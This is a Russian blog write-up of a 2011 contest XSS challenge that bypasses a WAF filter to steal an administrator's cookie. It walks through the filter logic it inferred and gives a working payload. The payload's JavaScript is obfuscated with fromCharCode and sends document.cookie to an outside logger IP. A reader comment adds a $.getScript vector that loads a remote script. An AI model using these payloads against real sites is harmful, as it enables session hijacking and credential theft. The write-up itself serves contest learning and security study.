Главная > Uncategorized > Покой нам только снится или XSS @ WAF Bypass @ CC’11

Покой нам только снится или XSS @ WAF Bypass @ CC’11

Говорят, отпуск с ноутбуком называется fuckation.
В первый же день своего отпуска на море не смог удержаться и расчехлил ноутбук, а там — конкурс по обходу WAF, подготовленный Владимиром Воронцовым и ONSEC, доступен в Интернете! Неожиданно!
До трансляции матча ЦСКА-Спартак оставалось всего два часа, которые было решено потратить на прохождение задания по XSS (мне XSS всегда больше нравится, чем SQLi).

Есть форма обратной связи, в которую вводится имя и текст:

Задача — угнать cookie администратра. Известно, что тот использует последнюю версию браузера Chrome.

Первым делом мы всегда пытаемся отреверсить логику проверки входных данных и их последующего использования в тексте генерируемой страницы. После сабмита формы значениями «abc def» в поле name и «ghi jkl» в поле text мы получили следующую страницу:

Со следующим исходным кодом (красным отмечены места документа, куда попали введенные данные):

Видно, что у нас получилось выйти за пределы аттрибута для значения поля «name» за счет пробела. Продолжая передавать спец-символы и всякие интересные конструкции, мы пришли к выводу, что логика проверки входных данных работает примерно так:
— параметр name ограничен по длине 41 символом;
— из вводимых данных удаляются следующие символы: %00 # \ ` { } /* */ ' и "
— из вводимых данных удаляются следующие ключевые слова: document, cookie, eval;
— работает проактивная защита, которая заблокирует запрос в случае, если в его параметрах будет слишком много специальных символов.

В итоге мы с Александром Раздобаровым, поняв эти ограничения, пришли к такому вектору атаки:
Значение параметра name:

1 onmouseover=setTimeout(innerHTML,1)

Значение параметра text:

var b = String.fromCharCode(100,111,99,117,109,101,110,116);var c = String.fromCharCode(99,111,111,107,105,101);var d = String.fromCharCode(104,116,116,112,58,47,47,49,53,56,46,50,53,48,46,49,55,46,49,48,53,58,56,48,56,48,47,115,101,114,118,108,101,116,47,70,105,114,115,116,76,111,103,103,101,114,63,99,61);var i = new Image();i.src= d + this[b][c];this[b].body.appendChild(i);//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

После чего успешно угнали плюшки администратора:

Владимир говорил, что есть способ реализовать XSS, не требующий действий со стороны администратора (у нас требуется onmouseover). Лично я не знаю, как выполнить javascript из аттрибута style в Chrome. Так что очень жду разбора задания от Владимира.

  1. 29.08.2011 в 21:03

    > Лично я не знаю, как выполнить javascript из аттрибута style в Chrome
    Хром очень неплохо поддерживает html5

  2. 29.08.2011 в 22:45

    oxdef :

    > Лично я не знаю, как выполнить javascript из аттрибута style в Chrome
    Хром очень неплохо поддерживает html5

    Кэп!!! Я в курсе! Есть вариант — расскажи :)

  3. 30.08.2011 в 10:44

    т.к. есть jquery, то мой вариант выглядел так:

    name="onclick=$.getScript(this.innerHTML)"
    text="http://domain.com/xssscript.js "

    без действий пользователя выполнить код тоже не получилось.

  4. 01.09.2011 в 12:14

    Да, jQuery там был специально.

  1. 03.09.2011 в 19:21
  2. 26.10.2011 в 12:39

Оставьте комментарий